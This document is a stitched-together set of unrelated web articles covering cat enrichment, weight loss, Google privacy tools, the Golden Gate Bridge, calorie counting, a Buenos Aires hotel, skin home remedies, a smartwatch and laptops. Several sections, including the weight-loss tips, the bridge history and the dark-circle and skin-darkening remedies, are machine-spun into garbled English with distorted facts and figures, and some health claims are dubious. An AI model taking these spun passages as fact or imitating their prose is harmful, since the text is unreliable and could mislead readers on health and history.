There are food toys for every level of feline ability. If your cat is new to food toys, start with something easy so they don’t get frustrated trying to get at the food. You may also need to use particularly tasty treats to get their interest. Over time, you can make the toys more difficult, and use them to feed all meals instead of providing ‘free’ food in a bowl.

You can also hide the toys around the house so the cat has to hunt for them to get started.

The great thing about food toys is that although there are some fantastic ones on the market, you can also make them for free. For example, make a hole in a cardboard tube, stick paper over one end, put food inside, paper over the other end, and let your cat figure out how to get the food out of the hole.

Only 5% of cats have food puzzle toys according to a survey of the enrichment people provide for their cats (Alho et al 2016).

Food puzzle toys can help to resolve feline behaviour problems because they provide environmental enrichment that can reduce stress and make the cat more active. (Dantas et al 2016)

Food toys are great for cats because they make them work for their food – completing another part of the predatory sequence.

3. Make sure your cat has nice hiding places

As well as thinking about cats evolving as solitary hunters of prey, we have to remember that cats themselves are prey animals. Which means cats like places they can hide and feel safe.

This is especially important if you have a fearful cat – the kind that runs to hide when people come over to the house.

But all cats need places to hide. In fact, a recent study of shelter cats’ use of a hiding box and a separate perch found the hiding box was much preferred, so much so that it may be considered a basic need for cats (Ellis et al 2017b).

The kind of hiding place that cats prefer is cat-sized, secluded, and often high up from the ground. It’s a place in which they can feel safe.

Examples of safe hiding places include a cardboard box (e.g. a regular cardboard box laying on its side, or a box specially designed for cats), a perch with a lip or a box to go in on a cat tree, a cat cube or cocoon (many types are available commercially), the cat carrier (if the cat likes it), a space on a shelf, or in a cupboard or wardrobe where the cat has access.

So do a quick survey of the places that are available to your cat as hiding places. Are they in busy parts of the house or does the cat also have hiding places in quieter rooms? Are they cat sized, or are they a bit too big? If your cat has outside access, do they also have safe hiding places in your yard or garden?

You can make existing hiding places more comfortable by adding a fleecy blanket or towel for the cat to curl up on.

And if you think your cat might not have enough spaces, see about providing some extra ones. It may be as simple as giving them a cardboard box and putting it on its side, or putting it upside down with a hole cut out for them to go in and out.

4. Use scents as enrichment

Did you know that your cat has an amazing nose, and on top of that they also have a vomeronasal organ that detects pheromones – chemical signals that have meaning to cats? This means that scent is far more important in your cat’s life than you realize.

When your cat rubs its head on you or the furniture, it is leaving pheromones behind. You may even notice a little brown mark on the wall where your cat rubs often. Don’t clean it up! Or at least don’t clean all of them up at once. Those familiar chemical signals that the cat is depositing help them to feel safe and secure.

Everyone is familiar with catnip toys, but there are other scents that many cats like too, so you could try valerian, silver vine or honeysuckle and see if your cat responds to those. Almost all cats will visibly respond to at least one of these scents.

A cat plays with a feather toy - one of 5 things to do for your cat today
Photo: Dmitry Nesterov / Shutterstock

You can find valerian in some cat toys, silver vine is available as a stick or powder, and honeysuckle as blocks of wood of various sizes. They may not be in your local pet store, so you may have to look for them online.

You can buy catnip that is mixed with other scents such as lavender, so if your cat likes catnip this is another way to provide different scents as enrichment.

In fact a recent study found that although only some cats respond to catnip by rolling around, other cats do respond, just in a passive way such as being in a Sphinx position or being less active and miaowing less (Espin-Iturbe et al 2017).

Another way to provide scent as enrichment if you have an indoor cat is to open the window for them to let them smell the air from outside. Obviously, do this in a safe way so they can’t escape – and remember that screens are not necessarily cat-safe. But you only need to open the window a chink to let the outside smells in.

5. Clean the litter tray

Did you notice how I saved the most glamorous one til last?!!

I know what you’re thinking. The other four are all fun, and this one… not so much.

But the litter tray is a serious matter for cats. Many house-soiling issues are due to problems with the litter tray (but if your cat suddenly starts making a mess in the house, it’s important to see a vet in case a medical issue is the cause). It’s an important issue because inappropriate toileting behaviour is a common reason for cats to be surrendered to animal shelters.

26% of pet cat owners clean their litter box once a day, but 11% only clean it once a week and 5% less frequently than that (Howell et al 2016). So there is plenty of scope for improvement amongst the average cat owner. And it really doesn’t take long.

Cats prefer a clean litter box. It’s not so much the smell they object to, but the presence of urine or faeces that is visually unappealing and physically in the way (Ellis et al 2017).

Cats will typically still use a litter box they are not very happy with, but signs they are not so keen on it include being hesitant to go in it, going in and then out of it, keeping a paw out of it while they eliminate, and spending a long time over elimination (McGowan et al 2017). This study also found that cats may hold their urine if they are not happy with their litter box, making them vulnerable to urinary tract infections.

So you should scoop your litter tray every day, but preferably twice a day, and clean the litter tray thoroughly once a week.

6. Bonus: Teach your cat to like their carrier

This is a bonus item because it is not something you can achieve in a day, especially if your cat is already scared of their carrier. Which they might be if it only ever predicts visits to the vet.

But one thing you can do today is get the carrier out, have a look at it and see if it’s suitable, leave it out somewhere so it becomes a normal thing – and make a plan to teach your cat to like it.

The best kind of carrier is one that is secure but where the top half can be detached from the bottom half. This means that at the vet, you can simply remove the top and the vet can examine the cat in the bottom of the carrier. Some cats will feel safer like this than if they have to come completely out of the carrier. (See more tips on how to help cats at the vet).

If the carrier always means an unpleasant trip to the vet, you can’t really blame a cat for not liking it. So you need to break that association. If your cat is terrified of the carrier you already have, you might find it best to start afresh with a new carrier.

Put a nice fleecy blanket or towel in the bottom so it is nice and cosy. And then leave it somewhere in the house where it will become a familiar thing. You might need to prop the door open so it can’t accidentally close behind the cat when they go in.

You can leave treats inside it to encourage your cat to go in. But for many cats even this will be too scary, so you may have to start by leaving treats in the general vicinity of the carrier. Once the cat is relaxed and comfortable collecting those treats, you can put treats a bit closer, until eventually the cat will approach the carrier.

This is a slow process. For a full explanation of how to teach your cat to like their carrier, I recommend this post by Sarah Ellis PhD. (You might like to read my interview with Dr. Sarah Ellis for more tips on training your cat).

Summary of tips for your cat

So there you have it – five things to do for your cat today, and a sixth one to work on over time. Play with your cat, use food toys, provide safe hiding places, use scent as enrichment, and remember to scoop the litter tray! Then start thinking about how to teach your cat to like their carrier.

These tips will provide enrichment for your cat, help your cat be more active and help them to feel safe and secure.

Of course, every cat is an individual and has their own preferences as all cat lovers know well. In the comments, let me know which are your cat’s favourite toys, and where is your cat’s favourite hiding place?

To learn more about how science can help you have a better relationship with your pet, subscribe to Companion Animal Psychology.

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Alho, A. M., Pontes, J., & Pomba, C. (2016). Guardians’ Knowledge and Husbandry Practices of Feline Environmental Enrichment. Journal of applied animal welfare science, 19(2), 115-125. http://dx.doi.org/10.1080/10888705.2015.1117976
Bol, S., Caspers, J., Buckingham, L., Anderson-Shelton, G. D., Ridgway, C., Buffington, C. T., … & Bunnik, E. M. (2017). Responsiveness of cats (Felidae) to silver vine (Actinidia polygama), Tatarian honeysuckle (Lonicera tatarica), valerian (Valeriana officinalis) and catnip (Nepeta cataria). BMC veterinary research, 13(1), 70. https://doi.org/10.1186/s12917-017-0987-6
Ellis, J. J., McGowan, R. T. S., & Martin, F. (2017). Does previous use affect litter box appeal in multi-cat households?. Behavioural Processes. https://doi.org/10.1016/j.beproc.2017.02.008
Ellis, J. J., Stryhn, H., Spears, J., & Cockram, M. S. (2017b). Environmental enrichment choices of shelter cats. Behavioural Processes. https://doi.org/10.1016/j.beproc.2017.03.023

Espín-Iturbe, L. T., Yañez, B. A. L., García, A. C., Canseco-Sedano, R., Vázquez-Hernández, M., & Coria-Avila, G. A. (2017). Active and passive responses to catnip (Nepeta cataria) are affected by age, sex and early gonadectomy in male and female cats. Behavioural Processes, 142, 110-115. https://doi.org/10.1016/j.beproc.2017.06.008

Howell, T. J., Mornement, K., & Bennett, P. C. (2016). Pet cat management practices among a representative sample of owners in Victoria, Australia. Journal of Veterinary Behavior: Clinical Applications and Research, 11, 42-49. https://doi.org/10.1016/j.jveb.2015.10.006
McGowan, R. T., Ellis, J. J., Bensky, M. K., & Martin, F. (2017). The ins and outs of the litter box: A detailed ethogram of cat elimination behavior in two contrasting environments. Applied Animal Behaviour Science. https://doi.org/10.1016/j.applanim.2017.05.009
Strickler, B. L., & Shull, E. A. (2014). An owner survey of toys, activities, and behavior problems in indoor cats. Journal of Veterinary Behavior: Clinical Applications and Research, 9(5), 207-214. https://doi.org/10.1016/j.jveb.2014.06.005

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Natural Weight loss tips – Tips for Weight loss at Home

Top Weight reduction Tips 

Weight reduction Assets individuals share the privileged insights of their achievement in our Main Ten Hints list. The rundown speaks to imperative thoughts that surface on numerous occasions when individuals enlighten us concerning their weight reduction achievement.

slimming tips for tummy extreme weight loss tips natural weight loss tips tips for weight loss at home

– Don’t remove all the nourishment you appreciate. I like the infrequent takeaway, however now I set aside calories to have one or win it. On the off chance that I confined myself to simply products of the soil I’d surrender rapidly. I additionally found that I could at present eat my most loved sustenances in the event that I ‘change’ them somewhat: low fat cheddar, low fat spread rather than margarine, light mozzarella and so on. Likewise the best thing I did was get olive oil splash!

– Compose everything down. Indeed (or particularly) on terrible/rampage spend days. It’s just on the off chance that you record things that you recognize what you are doing. I’m not saying don’t have the Peking Duck. I am stating, in any event comprehend what having the Peking Duck implies.

– I find staying a wedding welcome or occasion photo of goals I need to visit in an unmistakable place in the kitchen. This is more unpretentious than a fat photo of yourself and reminds you when you are enticed.

– I think it is a smart thought to get some new garments when you are down a size or two. That way, you are helped to remember what you have accomplished and not to backpedal to old sizes. Throw out the old stuff or give it away.

– Life is too short so work in treats! Alright my weight reduction is decent and moderate however I don’t feel like I am on an eating routine or that I am denying myself of anything (counting chocolate and cheddar. Lol!!!)

– Reward Tip – my exclusive tip truly is to sign up for the WLR 24 hour free trial and see with your own eyes. Everybody appears to adjust the site to their necessities and in the event that it works for me (never had much self control and exercise was a terrible word) at that point it must be justified regardless of a strive for everybody attempting to lose either a couple or a ton of kilos.


Much has been made of Google’s new privacy policy, which takes effect March 1. If you’re concerned
about Google misusing your personal information or sharing too much of it with advertisers and others, there are plenty of ways to avoid Web trackers.

The Electronic Frontier Foundation offers the Panopticlick service that rates the anonymity of your browser. The test shows you the identifiable information provided by your browser and generates a numerical rating that indicates how easy it would be to identify you based solely on your browser’s fingerprint.

According the the entropy theory explained by Peter Eckersley on the EFF’s DeepLinks blog, 33 bits of entropy are sufficient to identify a person. According to Eckersley, knowing a person’s birth date and month (not year) and ZIP code gives you 32 bits of entropy. Also knowing the person’s gender (50-50, so one bit of entropy) gets you to the identifiable threshold of 33 bits.

In some ways, Google’s explanation of personalized ads is more informative than the company’s privacy policy. Of course it’s in Google’s best interest to keep you in the personalized-ads fold, but the company does its best to present personalization as a boon to users. It certainly does help pay for the “free” services we’ve come to rely on.

Use Google’s own tools to opt out of ad networks

Prominent in the Google privacy policy are links to services that let you view and manage the information you share with Google. Some of this personal data you volunteer, and some of it is collected by Google as you search, browse, and use other services.

To view everything (almost) Google knows about you, open the Google Dashboard. Here you can access all the services associated with your Google account: Gmail, Google Docs, YouTube, Picasa, Blogger, AdSense, and every other Google property. The dashboard also lets you manage your contacts, calendar, Google Groups, Web history, Google Voice account, and other services.

More importantly, you can view and edit the personal information stored by each Google service, or delete the service altogether. To see which other services have access to the account’s information, click “Websites authorized to access the account” at the top of the Dashboard. To block an authorized service from accessing the account, click Revoke Access next to the service name.

The Google Ads Preferences Manager lets you block specific advertisers or opt out of all targeted advertising. Click the “Ads on the web” link in the left column and then choose “add or edit” under “Your categories and demographics” to select the categories of ads you want to be served or to opt out of personalized ads.

Another option is to use Google’s Keep My Opt-Outs extension for Chrome. Google also participates in the Network Advertising Initiative’s opt-out program. Select some or all of the dozens of online advertisers from the NAI program and then click Submit to place a cookie in your browser instructing the ad networks not to serve personalized ads.

Free add-on for Firefox and Google Chrome targets tracking cookies

Several free browser extensions help you identify and block the companies that are tracking you on the Web. For example, Ghostery (available in versions for Firefox and Chrome) adds an icon to your browser toolbar showing the number of trackers on the current page. Click the icon to see a list of the trackers and view options for blocking or white-listing specific ones.

The free Disconnect extension (also available for Facebook and Chrome) takes a more direct approach to wiping your Web tracks. Disconnect blocks tracking by Google, Facebook, Twitter, Yahoo, and Digg. It also has an option for depersonalizing searches.

As with Ghostery, Disconnect places an icon in the browser toolbar that shows the number of elements it has blocked on the current page. Click the icon to open a window showing the number of trackers blocked for each service. To unblock tracking for one of the services, click its entry. (Note that I tested Disconnect only with Google; also, blocking of international Google domains is not yet available, according to Disconnect’s developers.)

When I tested Disconnect, I had to sign into Gmail, Google Docs, and other Google services every time I returned to or refreshed one of those pages, which is understandable considering that blocking the cookie prevents Google from keeping you signed in. Otherwise I was able to use Google services without a problem, including search, viewing and sending Gmail, and accessing, creating, uploading, and downloading Google Docs files.

While people are rightly concerned about who is watching and recording their Web activities, at least Google makes it possible to use the company’s services without being too forthcoming with your personal information. ISPs and other Web services do as much tracking as Google–or more–but garner far fewer headlines. For a detailed look at the state of privacy in the digital world, read about the Electronic Frontier Foundation’s Surveillance Self-Defenseproject.

After all, the true threat to privacy is from the trackers we don’t know about, and who aren’t household names.

Golden Gate Bridge, San Francisco, Usa

Golden Gate Bridge

The Golden Gate Bridge is a technical Superb, can only say that in terms of the most advanced. When the bridge was completed in 1937, it is the highest of the world’s longest suspension bridge. However, the above examples all this superb project set against a beautiful backdrop is a magnificent monument.
Golden Gate Bridge began construction in 1933. Construction of the bridge, which was designed by engineer Joseph Strauss cross 1600 meters (5000 feet) wide strait known as the Golden Gate San Francisco Bay and the Pacific connecting San Francisco and Marin County connections.

Building Bridges

What would become the world’s largest suspension bridge building is a huge task. At that time many people do not believe this is technically feasible across the Golden Gate.
From the Marina District
However, despite the doubts, opposition and the Great Depression, Joseph Strauss was able to find enough support and financial support, to continue with the project.

This will require thousands of workers, aged 4 and $ 3.5 billion to complete the structure. Golden Gate Bridge May 27, 1937 inaugurated by 18.000 people who walked across the bridge. Motor vehicle bridge officially opened the next day. Today, more than 120,000 vehicles cross the bridge every day.

Facts and Figures

The size of the bridge despite all imagination. The total length of the bridge are 8981 feet or 2737 meters of. Between the two huge towers, a main span of 4,200 feet or 1,280 meters long, making the Golden Gate Bridge was the largest suspension bridge in the world,
From Baker Beach
A record will stand until 1964 when the Verrazano – Narrows Bridge in New York is complete.

Two beautiful Art Deco tower tall almost 820 feet or 250 meters, which is more than 20 meters below sea level. Six lanes and 90 feet / 27 meter wide road, is a staggering 220 feet or 67 meters above the water level. It has been a huge cable, anchored in hundreds of traction power of 25 million kilograms of concrete blocks are locked at the bar. The total length of the two cables 2,332 m, diameter 90 cm. The total length of the woven equal to 3 times the circumference of the earth 27572 steel threads.

The world famous landmark

From Lincoln Park

Shortly after the completion of the Golden Gate Bridge has enjoyed worldwide fame, not only because the bridge is broken record, but also thanks to the elegant Art Deco design of the two huge towers and magnificent surroundings near the Pacific Ocean. Striking orange-red bridge also helped its popularity. Color recommended by the engineer Irving Morrow, who thought the traditional gray is too boring.
Golden Gate Bridge, and now have lost their record of the longest cross-sea bridge, but it is still the world’s most famous one of the structures.


Even with the Golden Gate Bridge sidewalk, which is quite a challenge, to cross the bridge. It is not only about 3 km long, but it is a stunning 67 meters above sea level (220 feet). Bridge can sway in extreme cases almost 28 feet (8 meters). This makes the bridge less sensible external forces such as strong winds and earthquakes, but it can make the crossing rather unpleasant. However, the views are breathtaking.
Another method

Bridge Tower

Walk across the bridge driving a car – but do not forget, you have to pay – or you can connect the bus in San Francisco and Marin County. There is a bus stop, on the bridge begins.

Go to bridge

Golden Gate Bridge is located in Presidio Park, and can be easily reached by bus or car. However, the most enjoyable way to reach the bridge from the seafront walk from Baker Beach to the east or to the west of the bridge. Two routes will take you through a park, especially along the eastern route is very popular.

The best advice

Golden Gate Bridge is a spectacular sight, which can be seen from many areas near San Francisco. Here are a few from where you can admire the bridge position:

South of Vista Point. This is the most popular site, located in the San Francisco bridge.

North of Vista Point, located in Marin County side of the bridge.

Land’s End. Lincoln Park’s northernmost panoramic

Baker Beach, Presidio Park.

Road Conzelman. In the Marin County side; great view from the bridge near an entrance.

Golden Gate Bridge is often shrouded in mist in the morning, when it is most fascinating. But the bridge is also in the evening, when the seductive lighting, makes it look as if the tower’s spire in the dark dissolved.

How to Count Calories

If you want to lose weight, you must eat less than what your body needs for cell repair and to burn for energy. If you eat more than what your body needs, the excess food may be stored as muscle, but, mostly, it is stored as fat. Counting calories will make it easier to lose weight during a diet. If you know the calorie content of food, you can avoid high-calorie foods and select lower-calorie foods that allow you to lose weight and satisfy your nutritional requirements.

What is a Calorie?

A calorie is the amount of energy required to raise the temperature of 1 gram of water by 1 degree Celsius. The calories in food are really kilocalories or 1000 calories. When we say that a carbohydrate like sugar has 4 calories per gram, we really mean that it has 4 kilocalories per gram. This means that one gram of sugar has enough energy to raise the temperature of 1000 grams of water by 4 degrees Celsius. The calories in food provide a measure of the energy content of the food.

How many calories does your body burn?
The number of calories that you need depends on the size of your body and your level of activity. A large person requires more calories than a small person, an active person requires more calories than a sedentary person, and men require more calories than women. The minimum amount of energy required when resting, called the Basal Metabolic Rate (BMR) can be calculated using the Mifflin-St Jeor equations. These equations require the weight in kilograms, the height in centimeters, and the age in years. The BMR has to be multiplied by an activity factor to estimate the daily calorie requirements. The following calculator can provide an estimate of your daily caloric requirement, but it is important to provide a good estimate of your activity. “Sedentary” means that you don’t exercise at all. “Lightly active” means that you engage in light exercise or sports 1-3 days per week. “Moderately active” means that you exercise hard at least half an hour per day, five days per week. “Very active” means that you engage in fairly strenuous exercise or sports 6-7 days a week, and “extra active” means that you have a physical job where you are very active throughout the day.

Male: BMR = 10×weight + 6.25×height – 5×age + 5
Female: BMR = 10×weight + 6.25×height – 5×age – 161

Setting a Target Body Weight
Once you have calculated your current calorie requirements, you have to calculate the calorie requirements for the body that you would like to have. Your target weight should be such, that your Body Mass Index falls within the normal range of 18.5 to 24.9. For example, if you are a 35-year old, lightly-active female with a height of 5 feet, 6 inches and a weight of 160 pounds, you need 1,978 calories per day to maintain your weight. If you want to weigh 145 pounds, set the weight in the calculator to 145. The calculator shows that you should eat 1,884 calories per day to maintain a weight of 145 pounds. This difference of about 100 calories per day is equivalent to a slice of toast with a pat of butter.
Since one pound of body fat has about 3,500 calories, a reduction of 100 calories per day will cause the loss of one pound of weight in 35 days. By just cutting out the calories equivalent to one slice of buttered toast from your diet, you can lose 15 pounds in one year and a half. Similarly, you can gain 15 pounds in a year and a half by eating 100 calories extra per day.
Weight loss can be accelerated by reducing the calories further, but a diet should not reduce intake below 1,300 calories per day because such diets are not sustainable and it is very difficult to obtain all the necessary nutrients with very low calorie diets. Another adverse effect of very low calorie diets is that the body goes into starvation mode and decreases the BMR. A decrease in BMR reduces weight loss and has the unfortunate consequence that you will gain weight faster if you overeat because you will be consuming more excess calories above your new, lower BMR.
The best diet is one that can be maintained for many months or years until healthy eating habits become a way of life. As a general rule, your daily calories should not be reduced below 15 percent of the calories required by your target weight and activity level. In our example above, the target weight for the lightly active female requires 1,884 calories per day. Fifteen percent of this amount is 282 calories, i.e, 1884×(15/100). Subtracting 282 from 1,884 we get 1,602 calories per day. This reduction of 282 calories per day should result in the loss of one pound every twelve days, or about 2 pounds per month, at the beginning of the diet. As the body weight decreases, the rate of weight loss will also decrease. When you approach your target weight, you can increase your calories gradually until you reach a maintenance level.
Just how much food is 282 calories? This is approximately one slice of apple pie (1/6 of an 8-inch pie), or one jelly-filled doughnut, or two scoops of vanilla ice cream, or two regular sodas. You can normalize your weight by just skipping dessert and sweet drinks! It also helps if you can exercise vigorously 30 minutes per day. Vigorous exercise can burn 200 calories in half an hour. Just walking burns approximately 150 calories in half an hour.
Determining the Calories in Food
Once you know how many calories you need to achieve your target weight, you have to figure out how many calories are in the food that you eat. The following table shows the calories of carbohydrates, proteins, fats, and alcohol. Fiber consists of carbohydrates that are not digestible and can be subtracted from the amount of total carbohydrates.
Carbohydrates 4 Calories per gram
Proteins 4 Calories per gram
Fats 9 Calories per gram
Alcohol 7 Calories per gram
Since most foods consist of complex mixtures of the basic food components, you will need to interpretnutrition labels to determine the calories in packaged foods, and you will need five basic tools:
  • Food Scale
  • Measuring Cup
  • List of foods and calories per gram
  • Calculator
  • A journal to record everything that you eat
Establish a baseline: If you are not used to dieting and measuring food, the best way to start is to just eat normally for about one week, but weigh and measure everything that you eat or drink. This will establish a baseline of your normal eating habits and your ad libitum caloric intake.
As an example, let us say that you would like to eat some sunflower seeds. The nutrition label says that one serving consists of one ounce or 28 grams, and that the one-pound package has 16 servings. This 28-gram serving has 190 calories. Grab a handful containing all the sunflower seeds that you are going to eat, and before eating a single kernel, weigh them. Suppose that they weigh 30 grams. You know that there are 190 calories in 28 grams, so you calculate:
one handful = 30 grams × (190 calories/28 grams) = 204 calories
You write this in your journal and then you can enjoy the seeds.
Once your diet starts: You will want to know how many grams of food have a specific number of calories. If you want to eat only 100 calories of sunflower seeds, how many grams should you eat? Since you know that 28 grams have 190 calories, you can calculate:
weight needed = 100 calories × (28 grams/190 calories) = 14.7 grams
Round this figure to 15 grams, weigh that amount of seeds, write it in your journal, and enjoy knowing that you are eating only half of your previous calories. You may still feel hungry, but that is life. You have to sacrifice for what you want. You won’t starve.
The first few days of keeping track of your calories are the hardest because you have to look up the number of calories of each new food. It may seem that you are spending more time writing down what you eat than eating. Don’t be discouraged.
Scales and Software to make your life easier
There are scales such as the Newline Digital Nutrition Diet Scale that weigh and track nutritional intake for many foods. All you have to do is select the name of the food, and the scale calculates the calories, fat, cholesterol, fiber, and protein based on the weight. The scale can store in its memory multiple food entries to keep a record of what you have eaten.
There are several web sites and computer programs that you can use absolutely free to determine the calories in food and to track your daily calories and nutrients.
  • The USDA National Nutrient Database provides information about calories, vitamins, minerals, fatty acids, carbohydrates, protein, and fiber. This is a good resource for manually tracking your data.
  • MyPyramid Tracker is an online dietary and physical activity assessment tool from the U.S. Department of Agriculture that provides information on your diet quality, physical activity status, related nutrition messages, and links to nutrient and physical activity information. You can keep track of your energy balance history and view it up to one year.
  • CRON-O-Meter is a nutrition analysis program that keeps track of your daily macronutrients (proteins, fats, carbohydrates), as well as your vitamins and minerals. CRON-O-Meter incorporates the USDA database and it is an excellent tool for any dieter who is interested in getting proper nutrition. CRON-O-Meter is an open-source program that runs on your personal computer. It works with Windows, Linux, and Mac OS X.

Palacio Duhau – Park Hyatt, Buenos Aires, Argentina

Palacio Duhau – Park Hyatt

It felt like the Park Hyatt Hotel in a two. The original 23-room mansion, built in 1934 the French designer Leon Dourge, the definition of the elegance of the Belle Epoque: elaborate ironwork,

glass chandeliers and Persian rugs. Next door is a 142 room Posadas construction, fashion, the simple tower opened in 2006. Uniting the two spaces, in addition to the underground art gallery impeccable service. The appearance of the room, according to their time (in the Palacio hardwood floors and silk curtains, natural palate and modern furniture Posadas), with the most high-end technology, a rain shower, deep soaking bathtubs and the hole The stone bathroom jeweled marble.

The Vinoteca sommeliers from 3500 bottles of Argentine wine with regional cheese and chutney foreman Fromager wine.

How to Get Rid of Dark Circles Under the Eyes – How to Reduce Eye bags

How to Get Rid of Dark Circles Under the Eyes

Dark circles are what we allude to as the lower eyelid fat cushions. As a rule because of poor way of life propensities, for example, drinking, smoking, unfortunate eating routine and remaining late, they can begin losing volume and turn out to be noticeably droopy. Previously, the most well known approach to get rid of eye sacks was through blepharoplasty or lower eyelid surgery. Performed more often than not from inside the eyelid (transconjunctival blepharoplasty) or through an entry point in the skin just underneath the lash line, it was a genuinely obtrusive methodology to evacuate overabundance fat. 

How to Get Rid of Dark Circles Under the Eyes - How to Reduce Eye bags

Fortunately, nowadays there are many home cures you can attempt that guarantee fast and unmistakable outcomes. 

1. Water 

Drinking a lot of water is the initial step to get rid of puffy eyes. Keeping the body very much hydrated guarantees there is less water maintenance and no swelling in the under-eye region. In the vicinity of 8 and 10 glasses a day is viewed as ideal, yet you ought to likewise make sure to diminish your salt, caffeine and carbonated drink consumption. 

2. Chilly Spoons 

Holding chilled metal spoons against your eye for a couple of minutes until the point that the spoon turns out to be warm is shockingly powerful. It lessens puffiness, fixes the skin around the eyes and unwinds tires eyes. 

3. Tea Bags 

A simple and viable home cure that calms tired eyes and diminishes under eye packs. The counter aggravation properties of the herbs diminish swelling and make for a decent fragrant healing treatment. Notwithstanding lessening aggravation and redness, tea sacks additionally ease tiredness and stress. Splash the tea packs in warm water before setting on your eyelids and leave for 10 to 15 minutes. Alleviating teas like chamomile or peppermint are the best decision. 

4. Cucumber cuts 

Chilled or crisp cucumber cuts are perfect for treating under eye packs. Their common catalysts and astringent properties help lessen aggravation and fix the skin. An additional advantage is the lessening of wrinkles and dark circles around your eyes. 

5. Corrective arrangements 

Contingent upon the seriousness of the under eye sacks you might need to consider a more changeless arrangement. Now and again the characteristic procedure of maturing in blend with specific propensities and weight control plans incur significant injury on the presence of the skin, yet there are sure systems to amend that. Hyaluronic fillers are especially viable in enhancing the presence of the under-eye zone. Once infused under the eyes, the filler influences the forms of the eye attachment to seem more energetic and etched. 

Keep in mind that now and again the presence of under eye sacks can be an indication of a hypersensitivity or a genuine medicinal condition. Continuously attempt to take after a solid way of life that incorporates eating an adjusted eating regimen, investing energy outside and going frequently for a registration.

Healthy Weight Loss

In the short run coming up to the summer months it may be tempting to go on a crash-diet. However, research shows that quick-fix, low-calorie diets do not work in the long-term. Low-calorie diets can cause the metabolism to actually slow down which can cause you to pile on the pounds once you start eating properly again.

It is important to embark on a healthy weight loss diet so that you can lose and maintain your weight in the long-term. We need to have a healthy balanced diet to maintain muscle in order to lose fat. The following are tips for a healthy weight loss diet:
1. Eat a balanced diet: you need protein to build and maintain muscle to lose weight, carbohydrates for energy, fruit and veg for vitamin intake, minerals, fibre and healthy fats.

2. Buy Whole foods rather than processed food: unprocessed foods are healthier, nutritious and cheap that processed foods. They also allow you to have more control over what you put into your meals.

3. Eat plenty of protein: as mentioned proteins help the body to build and maintain muscle, which is needed to lose weight. You should aim to eat 1g protein per pound of body-weight per day to achieve the optimum amount of muscle whilst working out.

4. Use supplements: If you feel you are still not getting enough nutrients with you healthy weight loss diet, then supplements are a great way to ensure you achieve this, try fish oil and multi-vitamins.

5. Keep away from sugar! Sugar is addictive and is the main ingredient in most junk foods. The sugar raises the amount of dopamine (chemical) that drives the need for pleasure; foods, drugs, sex. As you eat more sugar you need more to obtain a level of dopamine satisfaction. Thus, sugar is addictive and can be damaging for your healthy weight loss diet. A tip to help withdrawal symptoms from dopamine is to exercise. Exercise also releases the chemical into the brain, so you will have more impulse control over food.

Losing weight is not easy; it can be long road to recovery for a lot of people who have emotional eating habits. It takes will power and a determination to succeed, but the benefits of being healthier and slimmer far outweigh the weight loss journey. The secret to maintain a healthy weight is to eat a healthy balanced diet. So ditch the yo-yo diet!

So start your healthy weight loss and be fit for summer!

Suffering from Skin Darkening? Here are some Home Remedies to get rid of it.

Home Remedies for Dim Skin patches

Experiencing skin obscuring? Here are some home remedies to dispose of it. 

Suffering from skin darkening? Here are some home remedies to get rid of it.

Drawn out introduction to brilliant daylight or contaminated air, maturing or hormonal vacillations may cause inconsistent skin obscuring, influencing your skin to look unfortunate. While restorative treatment is a plausible choice, it is for the most part not prescribed, aside from in a couple of outrageous cases; by the standard utilization of a couple of basic home remedies, you can manage obscured skin in the solace of your home. 

* Lemon juice 

One of the most straightforward and most secure fading operators you will ever discover – lemon! Lemon juice can work ponders for obscured skin. The ascorbic corrosive or vitamin C show in lime juice goes about as a cell reinforcement and helps the shade of the skin. 


Crush the juice from a large portion of a lemon and apply this with a cotton ball onto the zone where the skin has obscured. 

Or, on the other hand you could even specifically rub a cut lemon over the influenced range, enable the juice to adhere to the skin. 

Leave on for no less than a hour and after that wash with water. 

Maintain a strategic distance from finish presentation to daylight when you have connected lemon juice onto your skin or your skin will just get darker than some time recently. 

*Lemon juice with Turmeric powder or tomato juice. 


Blend around 3 teaspoons of lemon juice with 1 teaspoon of turmeric powder 

Apply this glue and abandon it on for thirty minutes; at that point wash with water. 

Or, then again make a puree from 2 medium-sized tomatoes and blend this with 4 tablespoons of lemon juice 

Apply this to obscured skin for around 20 minutes. 

* Drain 

Drain contains a compound called lactic corrosive and this has been found to help with helping the shade of skin. 


Utilize a cotton ball to apply a little crude drain to the obscured skin 

Enable it to dry and abandon it on overnight; wash the following morning with warm water. 

Likewise read about how crude drain is a Simple solution for gleaming skin. 

* Yogurt 

Since it is made of drain, yogurt likewise contains lactic corrosive which has dying properties. 


Include a couple of drops of lemon juice and 1 spoon of oats 

Add yogurt to this blend to influence a thick glue, to apply this glue to obscured skin. 

Keep it on for 15 – 20 minutes and wash off with tap water. 

As per Ayurveda, consistent utilization of buttermilk (the thin fluid deserted in the wake of expelling the cream from drain as spread) on obscured skin can help keep the skin cool and invigorate it.

I’m Watch – Android on your wrist


First unveiled online a few months ago, I’m Watch is a smartphone-compatible wristwatch, designed to work with Android-based cell phones – although it’s reportedly also compatible with iOS devices. It is being developed by an Italian producer, and is currently available for pre-order. Initially the price tag was very high, but it is now being offered in a cheaper, colored version called I’m Color. The watch is scheduled to be released this October.

The I’m Watch website showcases two versions of the product. I’m Jewel is a luxury version, designed with precious materials (titanium, gold) and jewels (diamonds), with prices ranging from EUR599 to EUR11,999 (US$840 – $16,833). The I’m Color collection is priced at EUR249 (US$349), however, you’d need to pay 20 percent of the price in advance to have your order secured. The current offer will last until July 18, according to the website.
The company behind I’m Watch is Milan-based Blue Sky s.r.l. Some of the features of the device include the following:
  • iPhone 4 and Android smartphone connectivity via Bluetooth
  • It will allow users to make calls and receive calls, text messages, and e-mails
  • Users will be able to use its speakerphone for hands-free phone calls
  • Via its touchscreen, users will be able to view Facebook, Twitter and Foursquare notifications, as well as a photo gallery
  • Exclusive apps will be available for download via the “I’m Store” and music via “I’music”
  • Specs include: 1.54” 240×240 pixel color TFT display, 4GB of built-in storage, 64MB of RAM, Bluetooth 2.1 + EDR support, Li-Po 600 mAh battery
The I’m Watch seems to still be some distance from completion, and its description is rather brief at the moment. Shipping is nonetheless set to begin October 31.

The Top 10 Best Laptops Guide



Want to find the best laptop? I have found the top 10 systems you can buy.
The editors of PCMag.com test hundreds of systems each year to help you find the best laptop. There are a lot of laptops out there, from the large-screen desktop replacements to the lightweight ultraportables, but all share common features. In this story, we help you narrow your choices by collecting the top 10 laptops on the market today.

Dell XPS 15

The Dell XPS 15, a desktop replacement laptop, is a wonderland of lavish features and cutting-edge components. It’s is unlike any other desktop replacement out there, thanks to its long list of firsts.

